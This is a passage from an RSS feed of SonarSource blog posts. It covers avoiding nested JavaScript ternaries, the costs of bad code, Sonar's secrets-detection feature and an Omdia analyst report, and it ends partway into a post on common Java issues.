href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/quality-gates/&quot;&gt;Quality Gate&lt;/a&gt; fail, preventing that code from being merged in your repository. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Stop nesting ternaries in JavaScript]]></title><description><![CDATA[Nesting ternary operators makes code more complex and less clear. Let's investigate other ways to write conditional expressions.]]></description><link>https://www.sonarsource.com/blog/stop-nesting-ternaries-javascript</link><guid isPermaLink="false">894d261b-279d-5e21-a268-86586b5ed4c4</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Thu, 07 Dec 2023 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://prettier.io/&quot;&gt;Prettier&lt;/a&gt;, the most popular JavaScript code formatter, recently released &lt;a href=&quot;https://prettier.io/blog/2023/11/13/curious-ternaries.html&quot;&gt;a novel way to format nested ternaries&lt;/a&gt; under an experimental flag. This has come after &lt;a href=&quot;https://github.com/prettier/prettier/issues/5814&quot;&gt;years of disagreement over the best and most readable way to format a nested ternary&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;I have a better idea of how to make nested ternaries clearer: stop nesting them.&lt;/p&gt;&lt;h2&gt;What do you mean by nested ternary?&lt;/h2&gt;&lt;p&gt;The ternary operator is an alternative to &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; for making decisions based on a condition. A regular ternary expression looks like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const animalName = pet.canBark() ? &quot;dog&quot; : &quot;cat&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A nested ternary is where you enter further ternary expressions in either the true or false branch.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const animalName =
  pet.canBark() ?
    pet.isScary() ?
      &apos;wolf&apos;
    : &apos;dog&apos;
  : pet.canMeow() ? &apos;cat&apos;
  : &apos;probably a bunny&apos;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;#x27;s take a look at why this isn&amp;#x27;t good practice.&lt;/p&gt;&lt;h2&gt;Why nested ternaries are bad&lt;/h2&gt;&lt;p&gt;I appreciate &lt;a href=&quot;https://prettier.io/&quot;&gt;Prettier&lt;/a&gt; and all it has done to help us write consistently-formatted code. The project is opinionated, which prevents &lt;a href=&quot;https://en.wikipedia.org/wiki/Law_of_triviality&quot;&gt;bike-shedding&lt;/a&gt; and lets us get on with the more important work of building projects. It promotes consistency, &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#consistent&quot;&gt;one of the four properties of Clean Code&lt;/a&gt;.  The least you can do if you are going to nest ternaries is to format them in a consistent manner.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I love that the Prettier project is working on making this better for all code, including nested ternaries. But looking over the &lt;a href=&quot;https://github.com/prettier/prettier/issues/5814&quot;&gt;hundreds of comments&lt;/a&gt; on how Prettier should format nested ternaries, I can&amp;#x27;t help but think that there will never be consensus on this topic.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Furthermore, another &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#intentional&quot;&gt;property of Clean Code is intentionality&lt;/a&gt;; code should be clear and straightforward. Nested ternaries are rarely clear or straightforward; I personally find them much harder to read and understand than other forms of conditionals.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We read code many more times than we write it, so it should be as easy to parse in one&amp;#x27;s head as possible. Picking your way through question marks and colons to determine what an expression means is much less clear than reading &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statements that spell it out for you.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s not just me who believes this; Sonar does not believe that nested ternaries are clear and straightforward, either. &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; all enforce the rule that &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-3358/&quot;&gt;ternary operators should not be nested&lt;/a&gt; as part of the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/instance-administration/quality-profiles/&quot;&gt;Sonar way profile&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Clearer ways&lt;/h2&gt;&lt;p&gt;So, what do we replace a nested ternary with? Let&amp;#x27;s take the example nested ternary from Prettier&amp;#x27;s example and rewrite it a few different ways. Their example code, in their new format, is:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const animalName =
  pet.canBark() ?
    pet.isScary() ?
      &apos;wolf&apos;
    : &apos;dog&apos;
  : pet.canMeow() ? &apos;cat&apos;
  : &apos;probably a bunny&apos;;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Nested conditionals&lt;/h3&gt;&lt;p&gt;The easiest way to replace a nested ternary is by turning them into a conditional&lt;/p&gt;&lt;pre&gt;&lt;code&gt;let animalName = &apos;probably a bunny&apos;;
if (pet.canBark()) {
  if (pet.isScary()) {
    animalName = &apos;wolf&apos;;
  } else {
    animalName = &apos;dog&apos;;
  }
} else if (pet.canMeow()) {
  animalName = &apos;cat&apos;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this example, we set up a variable that we will assign within the conditional statements. We can start the variable off with its default value, saving one &lt;code&gt;else&lt;/code&gt; clause. Then, we apply the same logic as in the original example but with &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; blocks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the issues that some developers have with this style is the use of the &lt;code&gt;let&lt;/code&gt; variable. The ternary operator does have the benefit that it is an expression; that is, it returns a value. Meanwhile, &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statements do not return anything, you need to either mutate a variable or use &lt;code&gt;return&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If using a variable doesn&amp;#x27;t feel right, you can refactor the statement into its own function and use early returns.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function animalName(pet) {
  if (pet.canBark()) {
    if (pet.isScary()) {
      return &quot;wolf&quot;;
    }
    return &quot;dog&quot;;
  } else if (pet.canMeow()) {
    return &quot;cat&quot;;
  }
  return &quot;probably a bunny&quot;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When you refactor the behaviour into its own function, you can independently test the functionality, ensuring that it is correct and cannot be broken unintentionally. And you can drop the extra variable assignment.&lt;/p&gt;&lt;h3&gt;Reduce the nesting&lt;/h3&gt;&lt;p&gt;The real issue in the code lies in the nesting itself. &lt;a href=&quot;https://www.sonarsource.com/blog/5-clean-code-tips-for-reducing-cognitive-complexity/&quot;&gt;Nesting is one feature that makes code more complex&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this example, we can refactor the nesting out to make this function easier to understand:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function animalName(pet) {
  if (pet.canBark() &amp;&amp; pet.isScary()) { return &quot;wolf&quot;; }
  if (pet.canBark()) return &quot;dog&quot;;
  if (pet.canMeow()) return &quot;cat&quot;;
  return &quot;probably a bunny&quot;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, the function is clearer and uses fewer lines than the nested ternary we started with.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I like that this is a separate function that you can write tests for. But if it is important to you to include this behaviour in its original location, you can do so as an &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/IIFE&quot;&gt;IIFE (instantly invoked function expression)&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const animalName = (() =&gt; {
  if (pet.canBark() &amp;&amp; pet.isScary()) { return &quot;wolf&quot;; }
  if (pet.canBark()) return &quot;dog&quot;;
  if (pet.canMeow()) return &quot;cat&quot;;
  return &quot;probably a bunny&quot;;
})();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Personally, I like extracting the code to a separate function for the reasons I described above, plus I think the IIFE adds extra clutter. You may disagree, in which case the IIFE is an option.&lt;/p&gt;&lt;h2&gt;In praise of nested ternaries?&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://medium.com/javascript-scene/nested-ternaries-are-great-361bddd0f340&quot;&gt;Eric Elliott wrote in favour of nested ternaries&lt;/a&gt;, calling them &amp;quot;chained ternaries&amp;quot; once you perform operations on the conditions to ensure you only ever chain in the &lt;code&gt;else&lt;/code&gt; clause of the ternary. His points about the &lt;a href=&quot;https://medium.com/javascript-scene/nested-ternaries-are-great-361bddd0f340#8f94&quot;&gt;difference between statements and expressions&lt;/a&gt; are good, and we should avoid side effects and mutation where we can, and expressions allow for that.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;His first argument is that &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statements permit you to write code that causes side effects. However, once you have reduced a conditional to code that you can write as a nested ternary, you can also avoid side effects and mutation by rewriting it as a function with returns, as we did above. On the other hand, you can absolutely write mutations and side effects within a ternary, so it seems to be a moot point to me.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;His second argument is that the syntax of an &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statement is clutter that takes up working memory, causes interference and leaves a greater surface area for bugs. For me, parsing a ternary requires me to come up with the syntax in my head, so even if the file doesn&amp;#x27;t say &amp;quot;if&amp;quot; and &amp;quot;else&amp;quot;, my understanding of a ternary requires that. The idea that changing &lt;code&gt;if&lt;/code&gt;s and &lt;code&gt;else&lt;/code&gt;s to question marks and colons gives you less surface area for bugs is a bit far-fetched for me. I&amp;#x27;m not going to argue that using &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statements will help you write more correct code and I discount that using fewer characters will achieve that either. I contend that &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statements make the code clearer and easier to understand. And, for me personally, the effort of understanding and translating the ternary syntax actually increases my likelihood of introducing bugs during maintenance.&lt;/p&gt;&lt;h2&gt;Is there any place for nested ternaries?&lt;/h2&gt;&lt;p&gt;Those of you using JSX might well be fuming by this point.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are no &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statements in JSX, so you need to use the ternary operator to make decisions. It is then common to nest those operations when rendering components conditionally and including conditional attributes in code like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;return (
  &lt;&gt;
    {isLoading ? (
      &lt;Loader active /&gt;
    ) : (
      &lt;Panel label={isEditing ? &apos;Open&apos; : &apos;Not open&apos;}&gt;
        &lt;a&gt;{isEditing ? &apos;Close now&apos; : &apos;Start now&apos;}&lt;/a&gt;
        &lt;Checkbox onClick={!saving ? setSaving(saving =&gt; !saving) : null} /&gt;
      &lt;/Panel&gt;
    )}
  &lt;/&gt;
);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Of course, nested ternaries are necessary in JSX, so the above code is perfectly reasonable. My recommendation is still to minimise the nesting as best as you can. It&amp;#x27;s also worth noting that the &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-3358/&quot;&gt;Sonar rule for nested ternaries does not apply to JSX&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Minimise nesting and prioritise clarity over brevity&lt;/h2&gt;&lt;p&gt;Nesting in code introduces complexity, so the first thing you should do when you find yourself with a nested ternary is to try to refactor to reduce the nesting as much as possible. Then, you can use any of the patterns above to remove the nested ternaries.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The one thing you can say about any of the alternatives above is that they all use more characters and involve more typing than the ternary-based solution. However, as I asserted earlier, &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20070406-00/?p=27343&quot;&gt;code is read much more often than written&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://prettier.io/blog/2023/11/13/curious-ternaries.html&quot;&gt;Prettier blog post&lt;/a&gt; describes &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statements as &amp;quot;ugly&amp;quot;, but I will always prefer ugly, understandable code over picking apart the question marks and colons in a nested ternary.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When you are intentional with your code and choose to minimise nesting and use fewer ternary operators, you will find your code is clearer and easier to understand and change over time. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#x27;d like a tool in your IDE to remind you of this as you type, install &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; for free. And if you&amp;#x27;re not already formatting your code, add &lt;a href=&quot;https://prettier.io/&quot;&gt;Prettier&lt;/a&gt; to your project, too. Because if you do have nested ternaries, formatting them might improve the clarity of your code until you get around to refactoring them.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Unraveling the Costs of Bad Code in Software Development]]></title><description><![CDATA[Not only does bad code cost companies millions of dollars, but countless hours of lost time, productivity, and brand reputation too. By acknowledging the existence of bad code and implementing proactive measures to mitigate its impact, developers and organizations can steer software toward success. ]]></description><link>https://www.sonarsource.com/blog/unraveling-the-costs-of-bad-code-in-software-development</link><guid isPermaLink="false">28a1af5f-f128-5448-a42a-441d2597c5a7</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Tue, 05 Dec 2023 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Since the birth of computer software, the costs associated with correcting its issues have been studied. From Barry Boehm’s 1981 study that found that finding and fixing a software issue after delivery can be &lt;a href=&quot;https://ntrs.nasa.gov/api/citations/20100036670/downloads/20100036670.pdf&quot;&gt;100&lt;/a&gt; times more expensive than addressing it earlier, to over 20 years later, when The National Institue of Standards &amp;amp; Technology (NIST) said it can cost &lt;a href=&quot;https://www.nist.gov/system/files/documents/director/planning/report02-3.pdf&quot;&gt;30&lt;/a&gt; times more after delivery, the costs of this ‘bad code’ continue to challenge the software industry. Code is written by humans, after all, and humans make mistakes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are also countless examples of the costs of bad code throughout recent history. Not only does it cost companies millions of dollars, but countless hours of lost time, productivity, and brand reputation too. As we explore the consequences of bad code, the layers that underpin the codebases of software that shape our digital world come into focus. The reasons that bad code exists everywhere are just as complex as the evolving landscape of software development.&lt;/p&gt;&lt;h3&gt;What is Bad Code?&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Bad code stifles software functionality. It isn&amp;#x27;t just about syntax errors or small bugs; it goes deeper, encompassing a range of issues that impede software’s readability, maintainability, and scalability. It&amp;#x27;s code that&amp;#x27;s complicated, poorly structured, or lacks documentation. Bad code can also manifest as overly complex solutions to simple problems, code duplication, or excessive dependencies.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The origins of bad code are diverse, stemming from the pressures of fast-paced deadlines, a lack of coding knowledge, manual issue remediation, inconsistent coding styles, and the unrelenting demands that outpace software performance. Even the advent of AI coding assistants, while promising efficiency, introduces its own set of challenges, including buggy and insecure code.&lt;/p&gt;&lt;h3&gt;Bad code’s far-reaching impact&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The repercussions of bad code extend far beyond the lines written on a screen. It affects the entire development cycle:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Reduced Maintainability and Scalability:&lt;/strong&gt; Bad code tends to be difficult to understand. As a result, maintaining, extending, or modifying it becomes an arduous task. It lacks scalability, making it challenging to adapt to changing business needs or incorporate new features. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Increased Bug Count and Technical Debt: &lt;/strong&gt;Bad code is a breeding ground for bugs. It harbors hidden issues that surface unexpectedly, leading to system failures or malfunctions. The accumulation of unresolved issues creates technical debt, requiring more effort and resources to rectify over time.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Decreased Productivity and Efficiency: &lt;/strong&gt;Developers spend a considerable amount of time deciphering and fixing bad code. This reduces their productivity, preventing them from focusing on innovation or creating new functionalities. As a result, the entire development process slows, causing missed deadlines and stalling project progress.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Increased Costs and Risks: &lt;/strong&gt;The impacts of bad code accumulate over time, resulting in increased costs for software maintenance, bug fixing, potential rework, and addressing technical debt. Moreover, bad code poses risks to the reliability, security, and stability of the software, potentially leading to reputation damage or compliance issues.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Addressing bad code promptly through refactoring, code reviews, and adherence to coding standards can mitigate these impacts, fostering a healthier development environment and enhancing the overall quality of software products.&lt;/p&gt;&lt;h3&gt;The Quest for Perfection&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the realm of software development, perfection might seem elusive. But the pursuit of cleaner, more efficient code is an ongoing journey. It requires diligence, collaboration, and a commitment to continuous improvement.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By acknowledging the existence of bad code and implementing proactive measures to mitigate its impact, developers and organizations can steer software toward success. After all, the true beauty of code lies not just in its functionality but also in its elegance and maintainability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Want to learn more about how to overcome the costs of bad code? Check out the white paper &lt;a href=&quot;https://www.sonarsource.com/resources/costly-consequences-of-bad-code/&quot;&gt;here&lt;/a&gt;. &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Secrets Detection]]></title><description><![CDATA[What are hard coded secrets? Why do you care if secrets are hidden in your code? How does Sonar help prevent secrets from getting into your code, entering your repository, and leaking out from your CI/CD pipeline? In this post, Product Manager, Alex Gigleux, answers all your questions.]]></description><link>https://www.sonarsource.com/blog/secrets-detection</link><guid isPermaLink="false">142f3073-c7d6-53dd-92c5-4b40bf0ca0b2</guid><dc:creator><![CDATA[Alexandre Gigleux]]></dc:creator><pubDate>Wed, 29 Nov 2023 23:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why should I care if secrets are in my code?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Secrets, such as passwords, API keys, and tokens, are sensitive pieces of information that grant access to databases, services, and applications. They are like the keys to your house that you want to protect and keep safe. If these secrets are accidentally exposed in your code (main sources, tests, IaC, config, scripts, …), they can be obtained and used by malicious users. This could lead to unauthorized access, data breaches, and other security incidents.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For instance, if an API key is exposed in source code, it could be used to access the API, potentially leading to data theft, service disruption, or even financial loss if the API is tied to a paid service.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You certainly heard about &lt;a href=&quot;https://www.ftc.gov/business-guidance/blog/2018/04/ftc-addresses-ubers-undisclosed-data-breach-new-proposed-order&quot;&gt;what happened to Uber in 2016&lt;/a&gt; when it experienced a data breach that exposed the personal information of 57 million users and drivers. The breach occurred because an access key was publicly exposed on GitHub, allowing hackers to access Uber&amp;#x27;s user data stored on Amazon Web Services.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That’s why it&amp;#x27;s crucial for developers to handle secrets carefully. They should never be hard-coded into source code or committed to version control systems. Instead, they should be stored securely using secret management tools and accessed through secure methods, such as environment variables.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;How can Sonar help with secrets detection?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar, we believe in empowering developers to write &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/&quot;&gt;Clean Code&lt;/a&gt;. Clean Code is code that is consistent, intentional, responsible, and adaptable. As part of our mission, we want to help you keep your secrets away from your source code. That way, you will be developing &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#responsible&quot;&gt;responsible&lt;/a&gt; code. Out of the box, the Sonar solution provides secrets detection features that will help detect if you are about to leak or if you have leaked a secret.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Sonar helps detect secrets from within the IDE through to your Continuous Integration (CI) pipeline&lt;/h2&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;p&gt;In the IDE, with &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/features/&quot;&gt;SonarLint&lt;/a&gt;, as you are developing code and you accidentally write or paste into your code a string that looks like a secret, one of the &lt;a href=&quot;https://rules.sonarsource.com/secrets/&quot;&gt;110 secret patterns supported by our 60 secret rules&lt;/a&gt; will be triggered. Following a true shift-left approach, you are warned before you push your code to your Git repository. It’s great and no one will even know that you were about to make a huge mistake.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Also, if you don’t use SonarLint (why wouldn’t you do it?) or if you decide to ignore its warnings, you will get the same detection capabilities as part of your code branch and pull request analysis in SonarQube and SonarCloud.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Sonar’s secrets detection is open-source&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This feature is provided by a new open-source secret detection engine developed by Sonar. What is good with open-source is that you can see how it’s done, and contribute. We provide the definition of all our 110 secret patterns and a &lt;a href=&quot;https://github.com/SonarSource/sonar-text/blob/master/CONTRIBUTING.md&quot;&gt;guide to explain to our community to contribute&lt;/a&gt;. This way, we expect this number of secret patterns to grow a lot during the coming months thanks to our awesome community. You don’t need to know any programming languages, it’s a fully YAML-based configuration.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Sonar’s secrets detection is ready for enterprise needs&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For people who develop their own internal APIs and have to manage their own in-house secrets, there is no way for us at Sonar to know the format of these secrets. This is why, the SonarQube Enterprise Edition (and higher) provides the possibility to define your own secret patterns. This means you can make sure none of your internal secrets are leaking even internally to prevent attack from the inside. If you want to know more about how to add your own secret patterns, check the related documentation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Let’s try secrets detection!&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ready to start the journey and prevent secrets from leaking? &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/ide-login/&quot;&gt;Install the latest version of SonarLint for your favorite IDE&lt;/a&gt;, &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/setup-and-upgrade/upgrade-the-server/upgrade-guide/&quot;&gt;upgrade your SonarQube instance to v10.3&lt;/a&gt;, or simply check out &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube&lt;/a&gt; or &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;SonarCloud&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alex&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar is “On the Radar”: New Omdia Report ]]></title><description><![CDATA[Omdia — an analyst firm that provides decades of industry experience, world-class research and consultancy, and actionable insights in over 200 markets — has published research about Sonar, our solutions, and recent innovations of deeper SAST and zero-configuration automatic analysis for C/C++. The research digs into why Sonar should be on your radar and also takes a look at the market view as well as from a current positioning. 
]]></description><link>https://www.sonarsource.com/blog/sonar-is-on-the-radar-new-omdia-report</link><guid isPermaLink="false">aeec7f3d-5c33-5b95-b406-73e7f9f31342</guid><dc:creator><![CDATA[Katie Hyman]]></dc:creator><pubDate>Tue, 28 Nov 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;New today, Omdia — an analyst firm that provides decades of industry experience, world-class research and consultancy, and actionable insights in over 200 markets — has published research about Sonar, our solutions, and recent innovations of deeper SAST and zero-configuration automatic analysis for C/C++. The research digs into why Sonar should be on your radar and also takes a look at the market view as well as from a current positioning. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The paper “On the Radar: Sonar adds “deeper” SAST and zero-configuration C/C++ analysis” is available to read now, but here’s a preview of the research details:&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Summary&lt;/strong&gt;&lt;/h2&gt;&lt;h4&gt;&lt;strong&gt;Catalyst&lt;/strong&gt;&lt;/h4&gt;&lt;p&gt;Sonar provides code analysis technology that helps developers and development teams to manage the quality and security of their software. It brings these two dimensions together in the term “Clean Code,” which Sonar defines as code that is consistent, intentional, adaptable, and responsible, and it offers its technology as a software as a service (SaaS) or as a self-managed platform, with open source and commercial options.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Recently, Sonar has added two significant innovations to its offering. First, it now has an enhanced static analysis capability, described as “deeper” static application security testing (SAST) to discover and fix hidden security issues in user code arising from interactions between the code and third-party libraries. Second, it has the ability to perform zero-configuration, automatic analysis of C and C++ projects independent of what compiler the developer is using. The company also has automatic analysis for 20 other languages, including Java, JavaScript, and Python.&lt;/p&gt;&lt;h4&gt;&lt;strong&gt;Omdia view&lt;/strong&gt;&lt;/h4&gt;&lt;p&gt;Digital transformation projects have been underway in many organizations for a number of years, and were turbocharged by the recent COVID-19 pandemic when online and mobile channels became the only modes of interaction with customers, citizens, partners, and employees in large swathes of the globe. That process of transformation is, of course, underpinned by applications, and the resulting boom in app development has created a security challenge in the form of an expanded attack surface for many entities, as explained below.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A cornerstone of Sonar’s offering is that code quality and security can and should be addressed together and at the same time; this differs from other approaches, which focus on one or the other dimension. Sonar believes that in order to achieve the best security posture, organizations should address the characteristics of code holistically, from the moment it is developed. In other words, the operating approach should be quality by design and, at the same time, security by design. Provided the company can articulate this difference clearly, as well as the benefits it brings, Omdia sees clear business opportunities for the vendor in this burgeoning market.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For more information about Sonar’s solutions, view the product pages for &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a2bf1f59-ed75-49f4-a6c9-b1c967bf403e/omdia_a_970x250_B.webp&quot; /&gt;</content:encoded></item><item><title><![CDATA[Top issues in Java projects]]></title><description><![CDATA[Let's dig into the projects using Java as language and see, according to what SonarLint telemetry shows, that there are still lots of issues that appear in the huge list of analyzed projects. ]]></description><link>https://www.sonarsource.com/blog/top-issues-in-java-projects</link><guid isPermaLink="false">daa052fb-aea3-5596-b348-f202bfd09c8f</guid><dc:creator><![CDATA[Jonathan Vila]]></dc:creator><pubDate>Mon, 20 Nov 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We know that having clean code in our projects is important, and every developer would agree on that. But, according to what SonarLint telemetry shows, there are still lots of issues that appear in the huge list of analyzed projects. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have taken the top most common issues happening in Java projects, from the &lt;a href=&quot;https://rules.sonarsource.com/java/&quot;&gt;+600 rules&lt;/a&gt; covering the language, considering quality and security to see how we can avoid them and align our code a bit more towards having a consistent, intentional, adaptable, and responsible code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although some issues may seem trivial, they can have a huge impact on the software delivered in terms of security, performance, and maintenance. Most of these issues are easy to follow, so it shouldn’t be an issue to not implement them, considering the huge benefit of it and the low effort to put in.&lt;/p&gt;&lt;h2&gt;The top most common issues&lt;/h2&gt;&lt;h3&gt;1. Code commented out&lt;/h3&gt;&lt;p&gt; Code commented out should be removed as it is making readability harder, and in case the code is needed again it can be retrieved from the version control system. &lt;/p&gt;&lt;p&gt;It also introduces uncertainty to the reader, as it is not clear if the code was commented out temporarily and needed to be uncommented again or simply it should have been removed.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void println(String x) {
   if (getClass() == PrintStream.class) {
       writeln(String.valueOf(x));
   } else {
       synchronized (this) {
           print(x);
           //newLine();
       }
   }
